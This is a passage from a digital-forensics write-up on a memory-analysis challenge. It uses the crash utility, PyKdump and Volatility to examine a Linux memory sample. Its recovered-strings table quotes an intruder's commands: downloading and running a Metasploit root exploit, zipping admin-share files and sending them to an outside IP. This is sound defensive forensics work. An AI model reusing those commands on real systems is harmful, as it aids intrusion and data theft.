href="http://www.samag.com/documents/s=9053/sam0403e/0403e.htm" id="ohbd" title="cite"&gt;cite&lt;/a&gt;].  In particular, he described how the the "crash" utility can be used to investigate a crash dump collected from a compromised system. While "crash" proved a valuable tool for analyzing crash dumps, the author is forced to rely on "crude" techniques for analyzing memory samples that were not collected in a crash supported format (ie linear mapping of physical memory).  Also in 2004, Mariusz Burdach describes collecting a sample of physical memory through from the /proc pseudo-filesystem and it's kcore file[&lt;a href="http://www.securityfocus.com/infocus/1773" id="y9yg" title="cite"&gt;cite&lt;/a&gt;].  He began by performing basic analysis (grep, strings and hex editors) to look for interesting strings and he then discussed advanced analysis that could be performed by painstakingly using gdb to analyze the system call table and list running processes. In 2005, Sam Stover and Matt Dickerson used a string searching method to find malware strings in the memory sample collected from /proc/kcore on a Linux system [&lt;a href="http://www.sagecertification.org/publications/login/2005-12/pdfs/stover.pdf" id="ou8s" title="cite"&gt;cite&lt;/a&gt;]. Later in 2005, Burdach extended this research by releasing the idetect tools for the 2.4 kernel, which aided in extracting file content from memory and listing user processes[&lt;a href="http://forensic.seccure.net/pdf/mburdach_digital_forensics_of_physical_memory.pdf" id="m2v_" title="cite"&gt;cite&lt;/a&gt;]. In 2006, the FATKit project described generic architecture to effectively deal with memory forensics abstractions allowing support for both Linux and Windows analysis, as demonstrated in the example modules[&lt;a href="http://www.4tphi.net/fatkit/papers/fatkit_journal.pdf" id="i1.8" title="cite"&gt;cite&lt;/a&gt;]. In 2006, Urrea also described techniques for enumerating processes and manually rebuilding a file from memory[&lt;a href="http://cisr.nps.navy.mil/downloads/theses/06thesis_urrea.pdf" id="ez:b" title="cite"&gt;cite&lt;/a&gt;].&lt;br id="mx8w5"&gt;       &lt;br id="mx8w6"&gt;       As we can see in each of these previous examples, debugging tools and their supporting information (ie Symbols) have played an important part of Linux memory forensics.  As a result, we felt it was important to leverage as much of the previous work and experience with Linux kernel debugging as possible.  Thus our first contribution with respect to this challenge was to create a patch for the &lt;a href="http://people.redhat.com/anderson/" id="y8rz" title="Red Hat crash utility"&gt;Red Hat crash utility&lt;/a&gt;, which is maintained by David Anderson. This is the same utility that was originally discussed by Ford, but now we have modified it so that it can analyze a linear sampling of physical memory, as in the case of the challenge.mem sample distributed with the challenge.&lt;br id="mx8w7"&gt;       &lt;br id="mx8w8"&gt;       &lt;b id="fs4y"&gt;Red Hat Crash Utility&lt;/b&gt;&lt;br id="mx8w9"&gt;       &lt;br id="mx8w10"&gt;       The Red Hat Crash Utility combines the kernel awareness of the UNIX crash utility with the source code debugging abilities of gdb.  It is also has the ablility to analyze over 14 different memory sample formats.  Another advantage of crash is that it has support for a number of different architectures (x86, x86_64, ia64, ppc64, s390 and s390x) and versions of Linux (Red Hat 6.0 (Linux version 2.2.5-15), up to Red Hat Enterprise Linux 5 (Linux version 2.6.18+)). Thus it really does address the need to have a broad applicability. Our patch for crash can be found at the following following url:&lt;br id="mx8w11"&gt;        &lt;br id="mx8w12"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/volcrash-4.0-6.3_patch" id="z8bt" title="http://www.4tphi.net/~awalters/dfrws2008/volcrash-4.0-6.3_patch"&gt;http://www.4tphi.net/~awalters/dfrws2008/volcrash-4.0-6.3_patch&lt;/a&gt;&lt;br id="mx8w13"&gt;       &lt;br id="mx8w14"&gt;       Once the patch has been applied (patch -p1 &amp;lt;volcrash-4.0-6.3_patch) and the source code built (make), you will also want to obtain the &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/2.6.18-8.1.15.el5.tar.gz" id="v5ep" title="mapfile and namelist"&gt;mapfile and namelist&lt;/a&gt; (a vmlinux kernel object file) for the DFRWS memory sample.&lt;br id="mx8w15"&gt;       &lt;br id="mx8w16"&gt;       In order to process a linear sampling of memory, you will need to pass the --volatile command line option as seen in the following example:&lt;br id="mx8w17"&gt;       &lt;br id="mx8w18"&gt;        ./crash -f ../2.6.18-8.1.15.el5/System.map-2.6.18-8.1.15.el5 ../2.6.18-8.1.15.el5/vmlinux ../dfrws/response_data/challenge.mem --volatile&lt;br id="h4fl2"&gt;       &lt;br id="h4fl4"&gt;       &lt;b id="d.r9"&gt;Crashing Challenge.mem&lt;/b&gt;&lt;br id="d.r90"&gt;       &lt;br id="d.r91"&gt;       In this section, we will discuss how we can use the crash commands to help extract artifacts from the memory sample found in the challenge. Upon successful invocation, crash will present information about the system whose memory was sampled. For the image in the challege, the output will look like &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_sys.txt" id="anek" title="this"&gt;this&lt;/a&gt;.  &lt;br id="bx.i"&gt;       &lt;br id="d.r922"&gt;       From this information, we can see that the sample was taken on  Sun Dec 16 23:33:42 2007 and the machine had been running for 00:56:51.  It also gives us a lot other interesting information from the image such as the amount of memory, the number of processors, etc.  Our patch sets the current context to the Linux task with the PID of 0. As seen, in the output this is the PID for the "swapper" task. If necessary, this context can be changed using the "set" command.  Information about available commands can be found through the "help" command.  In the following sections we will demonstrate the type of information that can be extracted using crash.  In particular, we will primarily focus on those things germane to the challenge.&lt;br id="h4fl5"&gt;       &lt;br id="h4fl6"&gt;       &lt;b id="uy-2"&gt;Processes&lt;/b&gt;&lt;br id="h4fl7"&gt;       &lt;br id="h4fl8"&gt;       Listing tasks is often one of the first things people want to do to see what is actually running on the system. By issuing this command, the investigator will receive information about process status similar to the Linux ps command:&lt;b id="ub2q"&gt;&lt;br id="qg2r"&gt;       &lt;br id="uy-20"&gt;       &lt;/b&gt;crash&amp;gt; ps&lt;br id="pvuk"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_ps.txt" id="m_nr" title="output"&gt;output&lt;/a&gt;&lt;br id="lkap"&gt;       &lt;br id="lkap0"&gt;       From this output we can extract information about the processes that were active on the box when the sample was collected. The ps command also has a number of useful command line options. For example, the investigator may want display a processes parental hierarchy to determine how it was invoked (-p). As seen in the following output, the -t option can also be used to display the run times, start times, cumulative user and system times for the tasks.  This information can be extremely useful as part of time line analysis and for determining the temporal relationships between events that occurred on the system.&lt;br id="ixwq"&gt;       &lt;br id="cg0b"&gt;       crash&amp;gt; ps -t&lt;br id="ixwq0"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_ps_time.txt" id="b9vu" title="output"&gt;output&lt;/a&gt;&lt;br id="cg0b0"&gt;       &lt;br id="cg0b1"&gt;       Using the -a option we are able to discern the command line arguments and environment strings for each of the user-mode tasks.  This maybe particularly useful when encountering an unknown process in memory or determining how an suspicious executable was invoked.  This can also be helpful for mapping a process and it's associated UID back to the user when the /etc/passwd file is not available.  For example, by leveraging the environment strings we can determine that the bash process (PID: 2585) was started by user stevev.&lt;br id="qka7"&gt;       &lt;br id="qka70"&gt;       crash&amp;gt; ps -a&lt;br id="qka71"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_ps_args.txt" id="y_q1" title="output"&gt;output&lt;/a&gt;&lt;br id="bcxc"&gt;       &lt;br id="bcxc0"&gt;       We are also able to extract the open files associated with the context of each task. Beyond presenting information associated with each of the open descriptors, it also prints current root directory and the working directory for each of those contexts.  This can often provide valuable leads when dealing with the large volume of evidence associated with modern investigations.&lt;br id="rjbv"&gt;       &lt;br id="rjbv0"&gt;       crash&amp;gt; foreach files&lt;br id="p8df"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_foreach_files.txt" id="evif" title="output"&gt;output&lt;/a&gt;&lt;br id="hqhy"&gt;       &lt;br id="hqhy0"&gt;       We can also extract information about each tasks open sockets.  This can be useful to determine if there are any open connections with other systems that need to be investigated further. It will also show if the systems is listening on any ports which may have been points of entry or backdoors left behind.  We can see that in the case of the challenge memory sample there aren't any open connections but the dhclient process (PID: 1565) has a socket with source port 68 and sendmail process (PID: 1872) has a socket with source port 25.&lt;br id="c-vw"&gt;       &lt;br id="c-vw0"&gt;       crash&amp;gt; foreach net&lt;br id="aa8:"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_foreach_net.txt" id="eopi" title="output"&gt;output&lt;/a&gt;&lt;br id="yri3"&gt;       &lt;br id="lpcx"&gt;       Using crash we can also extract a lot of other information related to the state of the system:&lt;br id="gmkp"&gt;       &lt;br id="zcwk"&gt;        &lt;div id="zcwk0"&gt;          &lt;table id="iglf" border="0" cellpadding="3" cellspacing="0" width="100%"&gt;           &lt;tbody id="zcwk1"&gt;            &lt;tr id="zcwk2"&gt;              &lt;td id="zcwk3" width="33%"&gt;               Mounted file systems&lt;br id="zcwk4"&gt;             &lt;/td&gt;              &lt;td id="b-:p" width="33%"&gt;               crash&amp;gt; mount&lt;br id="b-:p0"&gt;             &lt;/td&gt;              &lt;td id="zcwk5" width="33%"&gt;               &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_mount.txt" id="e60o" title="output"&gt;output&lt;/a&gt;&lt;br id="zcwk6"&gt;             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="ojs3"&gt;              &lt;td id="ojs30" width="33%"&gt;               Open files per file system&lt;br id="ojs31"&gt;             &lt;/td&gt;              &lt;td id="ojs32" width="33%"&gt;               crash&amp;gt; mount -f&lt;br id="ojs33"&gt;             &lt;/td&gt;              &lt;td id="ojs34" width="33%"&gt;               &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_mount_files.txt" id="zgqf" title="output"&gt;output&lt;/a&gt;&lt;br id="ojs35"&gt;             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="zcwk7"&gt;              &lt;td id="zcwk8" width="33%"&gt;               Kernel message buffer&lt;br id="zcwk9"&gt;             &lt;/td&gt;              &lt;td id="b-:p1" width="33%"&gt;               crash&amp;gt; log&lt;br id="b-:p2"&gt;             &lt;/td&gt;              &lt;td id="zcwk10" width="33%"&gt;               &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_log.txt" id="xnw4" title="output"&gt;output&lt;/a&gt;&lt;br id="zcwk11"&gt;             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="pfns"&gt;              &lt;td id="pfns0" width="33%"&gt;               Swap information&lt;br id="pfns1"&gt;             &lt;/td&gt;              &lt;td id="pfns2" width="33%"&gt;               crash&amp;gt; swap&lt;br id="pfns3"&gt;             &lt;/td&gt;              &lt;td id="pfns4" width="33%"&gt;               &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_swap.txt" id="cw1b" title="output"&gt;output&lt;/a&gt;&lt;br id="pfns5"&gt;             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="hsqf"&gt;              &lt;td id="hsqf0" width="33%"&gt;               Machine information&lt;br id="hsqf1"&gt;             &lt;/td&gt;              &lt;td id="hsqf2" width="33%"&gt;               crash&amp;gt; mach&lt;br id="hsqf3"&gt;             &lt;/td&gt;              &lt;td id="hsqf4" width="33%"&gt;               &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_mach.txt" id="rdq3" title="output"&gt;output&lt;/a&gt;&lt;br id="hsqf5"&gt;             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="g634"&gt;              &lt;td id="g6340" width="33%"&gt;               Loaded Kernel Modules&lt;br id="g6341"&gt;             &lt;/td&gt;              &lt;td id="g6342" width="33%"&gt;               crash&amp;gt; mod&lt;br id="g6343"&gt;             &lt;/td&gt;              &lt;td id="g6344" width="33%"&gt;               &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_mod.txt" id="ug7h" title="output"&gt;output&lt;/a&gt;&lt;br id="g6345"&gt;             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="qr34"&gt;              &lt;td id="qr340" width="33%"&gt;               chrdevs and blkdevs arrays&lt;br id="qr341"&gt;             &lt;/td&gt;              &lt;td id="qr342" width="33%"&gt;               crash&amp;gt; dev&lt;br id="qr343"&gt;             &lt;/td&gt;              &lt;td id="qr344" width="33%"&gt;               &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_dev.txt" id="u_gf" title="output"&gt;output&lt;/a&gt;&lt;br id="qr345"&gt;             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="x:m1"&gt;              &lt;td id="x:m10" width="33%"&gt;               PCI device data&lt;br id="x:m11"&gt;             &lt;/td&gt;              &lt;td id="x:m12" width="33%"&gt;               crash&amp;gt; dev -p&lt;br id="x:m13"&gt;             &lt;/td&gt;              &lt;td id="x:m14" width="33%"&gt;               &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_dev_p.txt" id="b4b4" title="output"&gt;output&lt;/a&gt;&lt;br id="x:m15"&gt;             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="pr_b"&gt;              &lt;td id="pr_b0" width="33%"&gt;               I/O port/memory usage&lt;br id="pr_b1"&gt;             &lt;/td&gt;              &lt;td id="pr_b2" width="33%"&gt;               crash&amp;gt; dev -i&lt;br id="pr_b3"&gt;             &lt;/td&gt;              &lt;td id="pr_b4" width="33%"&gt;               &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_dev_i.txt" id="z2o1" title="output"&gt;output&lt;/a&gt;&lt;br id="pr_b5"&gt;             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="a_.7"&gt;              &lt;td id="a_.70" width="33%"&gt;               Kernel memory usage&lt;br id="a_.71"&gt;             &lt;/td&gt;              &lt;td id="a_.72" width="33%"&gt;               crash&amp;gt; kmem -i&lt;br id="a_.73"&gt;             &lt;/td&gt;              &lt;td id="a_.74" width="33%"&gt;               &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_kmem_i.txt" id="y7nx" title="output"&gt;output&lt;/a&gt;&lt;br id="a_.75"&gt;             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="d:7t"&gt;              &lt;td id="d:7t0" width="33%"&gt;               Kernel vm_stat table&lt;br id="d:7t1"&gt;             &lt;/td&gt;              &lt;td id="d:7t2" width="33%"&gt;               crash&amp;gt; kmem -V&lt;br id="d:7t3"&gt;             &lt;/td&gt;              &lt;td id="d:7t4" width="33%"&gt;               &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/crash_kmem_V.txt" id="k9dl" title="output"&gt;output&lt;/a&gt;&lt;br id="d:7t5"&gt;             &lt;/td&gt;           &lt;/tr&gt;           &lt;/tbody&gt;         &lt;/table&gt;       &lt;/div&gt;       &lt;br id="og2m"&gt;       There are a couple of things to note from the previous output information.  First from the swap information we can see that the load on the system is not causing pages to be swapped out. Second by leveraging the data in the kernel message buffer we can get an indication of when the system was booted. For example, by looking at the &lt;b id="cv3v0"&gt;audit(1197861235.541:1): initialized  &lt;/b&gt;boot message which has a unix timestamp of 2007-12-16 22:14:01.&lt;br id="cv3v1"&gt;       &lt;br id="yri30"&gt;       This was just a sample of the type of information that is available through the default command set that comes with crash. Another benefit associated with leveraging the Red Hat Crash Utility is that the command set can be extended through loading shared libraries.  In the following section, we will discuss an extension module that will allow us to use Python scripts to interface with crash.&lt;br id="aa8:0"&gt;       &lt;br id="ixwq2"&gt;       &lt;b id="ap9j"&gt;PyKdump Framework (Python scripting for crash)&lt;br id="ap9j0"&gt;       &lt;br id="ap9j1"&gt;       &lt;/b&gt;&lt;a href="http://sourceforge.net/projects/pykdump" id="y25v" title="PyKdump"&gt;PyKdump&lt;/a&gt;, written by Alexandre Sidorenko, embeds a Python interpreter as a dynamically loadable 'crash' extension so you can create Python scripts to help perform analysis. In the following sections, we will show how PyKdump can help extract information from the challenge memory sample.&lt;br id="khbs"&gt;       &lt;br id="khbs0"&gt;       PyKdump includes a program called &lt;a href="http://pykdump.wiki.sourceforge.net/xportshow" id="h33o" title="xportshow"&gt;xportshow&lt;/a&gt; which can be used to extract a lot of useful network related information beyond what is available in the crash default command set. PyKdump and the xportshow program can also be used to extract important information from the challenge sample. &lt;br id="khbs1"&gt;       &lt;br id="khbs2"&gt;       One of the first things we can do is extract detailed information about system's available interfaces. This allows us to extract information similar to that provided by the Linux command "ifconfig".  This is useful for extracting the state of those interfaces including the times since they may have transmitted or received packets and whether the interface is in promiscuous mode or not.   From this we can also confirm that the IP address of the eth0 interface is 192.168.151.130 which can help as we analyze the pcap data.&lt;br id="ap9j2"&gt;       &lt;b id="khbs3"&gt;&lt;br id="pvuk0"&gt;       &lt;/b&gt; crash&amp;gt; xportshow -iv&lt;br id="npfy"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/pykdump_xportshow_iv.txt" id="wrsp" title="output"&gt;output&lt;/a&gt;&lt;br id="e46d"&gt;       &lt;br id="e46d0"&gt;       Using xportshow, we can also extract information from the internal ARP cache. This can be useful to determine other systems that may need to be investigated or to determine if the ARP cache has been manipulated in any way.&lt;br id="pvuk1"&gt;       &lt;br id="u_.b"&gt;       crash&amp;gt; xportshow --arp&lt;br id="u_.b0"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/pykdump_xportshow_arp.txt" id="qa9n" title="output"&gt;output&lt;/a&gt;&lt;br id="fu-i"&gt;       &lt;br id="fu-i0"&gt;       We can also extract the internal routing table to determine if the routes have been manipulated in an attempt to redirect traffic.&lt;br id="dpm2"&gt;       &lt;br id="dpm20"&gt;       crash&amp;gt; xportshow -r&lt;br id="p_z_"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/pykdump_xportshow_r.txt" id="x3ui" title="output"&gt;output&lt;/a&gt;&lt;br id="ygh4"&gt;       &lt;br id="ygh40"&gt;       While on the topic of layer 3 routing, we can also use xportshow to extract the route cache also known as the forwarding information base (FIB) on Linux. This stores recently used routing entries and is consulted before going to the routing table.  Thus we can use this information to determine other machines the system was communicating with and look for signs manipulation. For example the route cache for the challenge image shows that our suspected system (192.168.151.130) previous communicated with the following addresses: 219.93.175.67, 86.64.162.35, 192.168.151.2,192.168.151.254. The 219.93.175.67 address corresponds to the address where the zip files was being exfiltrated.&lt;br id="kw_e"&gt;       &lt;br id="kw_e0"&gt;       crash&amp;gt; xportshow --rtcache&lt;br id="ijnz"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/pykdump_xportshow_rtcache.txt" id="f-5i" title="output"&gt;output&lt;/a&gt;&lt;br id="s_la"&gt;       &lt;br id="s_la0"&gt;       Now continuing to move up the stack we can also use xportshow to once again extract all the open sockets. As seen in the following results, xportshow presents this information in a format similar to netstat.  This is extremely useful for determining both active network connections or listening services. It also provides a number of command line arguments for filtering the output.&lt;br id="kume"&gt;       &lt;br id="zcjl"&gt;       crash&amp;gt; xportshow -a&lt;br id="w95j"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/pykdump_xportshow_a.txt" id="lgid" title="output"&gt;output&lt;/a&gt;&lt;br id="rn:b"&gt;       &lt;br id="g.ct"&gt;       PyKdump also has provides a crashinfo program that can print the systems runtime parameters (sysctl), file locks, and stack summaries.&lt;br id="ppag"&gt;       &lt;br id="rn:b0"&gt;       As you can see, our patch now allows us to leverage both the Red Hat Crash Utility and PyKdump to extract a lot of valuable information from the memory sample in the challenge.  The goal of our further development efforts were to leverage the power of these tools while developing new tools and techniques that are applicable to an even broader range of systems and forensic challenges than just the debugging Linux systems.  The following sections will describe how we addressed those goals using &lt;a href="https://www.volatilesystems.com/default/volatility" id="f6tu" title="Volatility"&gt;Volatility&lt;/a&gt;, the open source volatile memory artifact extraction utility framework.  We will also discuss how we are adding support to Volatility that will allow you to run your PyKdump commands transparently, even while working on a Windows host.  By leveraging Volatility, our efforts for combining multiple data sources will not be limited to a particular operating system.&lt;br id="kume0"&gt;       &lt;br id="kume1"&gt;       &lt;b id="wozo"&gt;Volatility&lt;br id="wlai"&gt;       &lt;br id="wlai0"&gt;       &lt;/b&gt;Volatility is an open source modular framework written in Python for extracting digital artifacts from acquired samples of volatile system memory.  From it's inception it was designed to be a modular and extensible framework for analyzing samples of volatile memory taken from a variety of operating systems and hardware platforms. The Volatility Framework builds upon research we performed on both &lt;a href="http://www.blackhat.com/presentations/bh-dc-07/Walters/Paper/bh-dc-07-Walters-WP.pdf" id="t3zs" title="VolaTools"&gt;VolaTools&lt;/a&gt; and &lt;a href="http://www.4tphi.net/fatkit/" id="r13w" title="FATKit"&gt;FATKit&lt;/a&gt;. While previous versions of the framework focused on the analysis of Windows XP SP2 samples, as a part of this challenge we will demonstrate how it can be easily adapted to other operating systems as well (i.e. Linux).  This challenge also allowed us to make use of the powerful new features which were added to Volatility 1.3.&lt;br id="vdab"&gt;       &lt;b id="er8q"&gt;&lt;br id="necz0"&gt;       &lt;/b&gt;The power of Volatility is derived from how it handles the abstractions of volatile memory analysis within it's software architecture.  This architecture is divided into three major component: Address Spaces, Objects and Profiles, and Data View Modules.&lt;br id="l3h3"&gt;       &lt;br id="c1u30"&gt;       &lt;b id="of-s"&gt; Address Spaces&lt;br id="limr"&gt;       &lt;br id="sgm-"&gt;       &lt;/b&gt;Address spaces are intended to simulate random access to a linear set of data. Thus each address space must provide both a read function and a function to test whether a requested region is accessible.  It is through the use of address spaces that Volatility is able to provide support for a variety of file formats and processor architectures.  These address spaces are also designed to be stackable while maintaining the ability to have concurrent handles to the same data through different transformations. In order to analyze the challenge.mem sample, we make use of both the FileAddressSpace and the IA-32 paged virtual address space, IA32PagedMemory, that are also used for Windows memory analysis.&lt;b id="zktb0"&gt;&lt;br id="r7tw"&gt;       &lt;br id="limr0"&gt;       Objects and Profiles&lt;br id="oqs2"&gt;       &lt;br id="uqyj"&gt;       &lt;/b&gt;Objects refer to any data that is found within an address space at a particular offset. The new object model included in 1.3, which was used in the software for this challenge, supports many of the semantics of the C programming language. Volatility uses profiles to define those object formats.  When analyzing an Linux sample, the profile can be automatically generated from the source code or debugging information.  For the challenge we will be using a profile generated for the 2.6.18-8.1.15.el5 kernel.  We also include the System.map as a component of the profile as well.&lt;br id="oqs20"&gt;       &lt;br id="limr2"&gt;       &lt;b id="kg2w"&gt; Data View Modules&lt;br id="wozo0"&gt;       &lt;/b&gt;&lt;br id="n:lk"&gt;       Data view modules provide algorithms to find where the data is located. These are the methods used to collect data or objects from the sample.  For this challenge we created 11 new data view modules to facilitate analysis of Linux samples. The following sections will describe each of the new modules that was created. These new modules were also built for the new pluggable architecture included in Volatility 1.3. This allows new modules to be added without requiring any changes to source code.&lt;b id="i2_s"&gt;&lt;br id="pvuk2"&gt;       &lt;/b&gt;&lt;br id="bakj"&gt;       &lt;b id="bakj0"&gt;Strings&lt;br id="xk0r"&gt;       &lt;/b&gt;&lt;br id="bqla"&gt;       As we mentioned previously, one of the most common forms of analysis performed on a sample of physical memory is to look for sequences of printable characters extracted using the "strings" command. Thus it is here that we will begin our discussion of analyzing memory using Volatility.  One of the major limitations with relying on this method of analysis alone is that it is a context free search.  Thus it simply treats the sample of memory as a big block of data. For example, while reviewing the strings from this image we are able to find strings related to bash &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/strings_a13000.txt" id="saak" title="command history"&gt;command history&lt;/a&gt; resident in memory.  From these commands we can see that someone on the system attempted to copy Excel spreadsheets and Pcap files from an admin share (/mnt/hgfs/Admin_share) to a temp file. At some other point they attempted to discover if a vulnerable version of the X windows system was running on the system.  They then proceeded to download and execute a privelege escalation exploit from the metasploit project intended to gain root privileges.&lt;br id="ld0y0"&gt;       &lt;b id="bqla0"&gt;&lt;br id="w9ii"&gt;       &lt;/b&gt;In an attempt to add more context to these types of strings we created a module called linstrings which provided the equivalent functionality to Volatility's string command.  This allows us to map the strings extracted from the memory sample back to the corresponding virtual address and associated process.  This mapping is accomplished by walking the address translation tables and determining which processes has the ability to access the physical page where the string is located.  In the Linux version we only consider the user land address space.&lt;br id="hwkh"&gt;       &lt;br id="snp8"&gt;       python volatility linstrings -f challenge.mem -p profiles/2_6_18-8_1_15_el5/centos-2.6.18-8.1.15.el5.types.py -s profiles/2_6_18-8_1_15_el5 System.map-2.6.18-8.1.15.el5 -S challenge.strings &amp;gt; dfrws_strings_map&lt;br id="clc2"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/dfrws_strings_mapped.tar.gz" id="hpax" title="output"&gt;output&lt;/a&gt;&lt;br id="clc20"&gt;       &lt;b id="xnup"&gt;&lt;br id="i7ja"&gt;       Examples of interesting strings&lt;br id="nmbn"&gt;       &lt;/b&gt;        &lt;div id="bqhd"&gt;          &lt;table id="ze75" border="0" cellpadding="3" cellspacing="0" width="100%"&gt;           &lt;tbody id="bqhd0"&gt;            &lt;tr id="bqhd1"&gt;              &lt;td id="bqhd2" width="33%"&gt;               Physical Offset&lt;br id="bqhd3"&gt;             &lt;/td&gt;              &lt;td id="rc4b" width="33%"&gt;               [Pid:Virtual Address]&lt;br id="rc4b0"&gt;             &lt;/td&gt;              &lt;td id="i_vr" width="33%"&gt;               String&lt;br id="i_vr0"&gt;             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="bqhd6"&gt;              &lt;td id="bqhd7" width="33%"&gt;               8393760             &lt;/td&gt;              &lt;td id="rc4b1" width="33%"&gt;               [2582:8fa1420 ]             &lt;/td&gt;              &lt;td id="i_vr1" width="33%"&gt;               http://219.93.175.67:80             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="ny3b"&gt;              &lt;td id="ny3b0" width="33%"&gt;               10456534&lt;br id="u8ot"&gt;             &lt;/td&gt;              &lt;td id="ny3b2" width="33%"&gt;               [2585:8b59dd6 ]             &lt;/td&gt;              &lt;td id="ny3b4" width="33%"&gt;               tar -zpxvf xmodulepath.tgz             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="vzjh"&gt;              &lt;td id="vzjh0" width="33%"&gt;               197604536             &lt;/td&gt;              &lt;td id="vzjh2" width="33%"&gt;               [2585:8b4e4b8 ]             &lt;/td&gt;              &lt;td id="vzjh4" width="33%"&gt;               wget http://metasploit.com/users/hdm/tools/xmodulepath.tgz             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="vzjh6"&gt;              &lt;td id="vzjh7" width="33%"&gt;               107837393              &lt;/td&gt;              &lt;td id="vzjh9" width="33%"&gt;               [2582:92087d1 ]             &lt;/td&gt;              &lt;td id="vzjh11" width="33%"&gt;               [stevev@goldfinger ~]$ cp /mnt/hgfs/software/xfer.pl .             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="t3mf"&gt;              &lt;td id="t3mf0" width="33%"&gt;               207989168             &lt;/td&gt;              &lt;td id="t3mf2" width="33%"&gt;               [2585:8b4b9b0 ]             &lt;/td&gt;              &lt;td id="t3mf4" width="33%"&gt;               ./xfer.pl archive.zip             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="ujq9"&gt;              &lt;td id="ujq90" width="33%"&gt;               212984368&lt;br id="reu4"&gt;             &lt;/td&gt;              &lt;td id="ujq92" width="33%"&gt;               [2585:8b4c230 ]             &lt;/td&gt;              &lt;td id="ujq94" width="33%"&gt;               zip archive.zip /mnt/hgfs/Admin_share/acct_prem.xls /mnt/hgfs/Admin_share/domain.xls /mnt/hgfs/Admin_share/ftp.pcap             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="zdji"&gt;              &lt;td id="zdji0" width="33%"&gt;               222017064             &lt;/td&gt;              &lt;td id="zdji2" width="33%"&gt;               [2582:922f628 ]             &lt;/td&gt;              &lt;td id="zdji4" width="33%"&gt;               [stevev@goldfinger ~]$ rm xfer.pl             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="zdji6"&gt;              &lt;td id="zdji7" width="33%"&gt;               10456593             &lt;/td&gt;              &lt;td id="zdji9" width="33%"&gt;               [2585:8b59e11 ]             &lt;/td&gt;              &lt;td id="zdji11" width="33%"&gt;               ./root.sh             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="jnrk"&gt;              &lt;td id="jnrk0" width="33%"&gt;               197607328             &lt;/td&gt;              &lt;td id="jnrk2" width="33%"&gt;               [2585:8b4efa0 ]             &lt;/td&gt;              &lt;td id="jnrk4" width="33%"&gt;               export http_proxy="http://219.93.175.67:80"             &lt;/td&gt;           &lt;/tr&gt;           &lt;/tbody&gt;         &lt;/table&gt;       &lt;/div&gt;       &lt;b id="d8ps0"&gt;&lt;br id="jq-d"&gt;       &lt;/b&gt;The ability to map these strings back to their respective processes is extremely useful.  We can can see that all the strings in the previous table were addressable by processes with a UID of 501, which is the UID for user stevev, Steve Vogon.&lt;b id="y:xd"&gt;&lt;br id="jq-d0"&gt;       &lt;br id="c-c_"&gt; Examples of interesting files found in memory&lt;br id="jq-d1"&gt;       &lt;br id="nzt7"&gt;        &lt;div id="nzt70"&gt;          &lt;table id="l_xy" border="0" cellpadding="3" cellspacing="0" width="100%"&gt;           &lt;tbody id="nzt71"&gt;            &lt;tr id="nzt72"&gt;              &lt;td id="nzt73" width="50%"&gt;               /etc/passwd&lt;br id="nzt74"&gt;             &lt;/td&gt;              &lt;td id="nzt75" width="50%"&gt;               &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/etc_passwd.txt" id="wpl6" title="link"&gt;link&lt;/a&gt;&lt;br id="nzt76"&gt;             &lt;/td&gt;           &lt;/tr&gt;            &lt;tr id="nzt77"&gt;              &lt;td id="nzt78" width="50%"&gt;               /etc/group&lt;br id="nzt79"&gt;             &lt;/td&gt;              &lt;td id="nzt710" width="50%"&gt;               &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/etc_group.txt" id="fe:0" title="link"&gt;link&lt;/a&gt;&lt;br id="nzt711"&gt;             &lt;/td&gt;           &lt;/tr&gt;           &lt;/tbody&gt;         &lt;/table&gt;       &lt;/div&gt;       &lt;br id="jnty1"&gt;         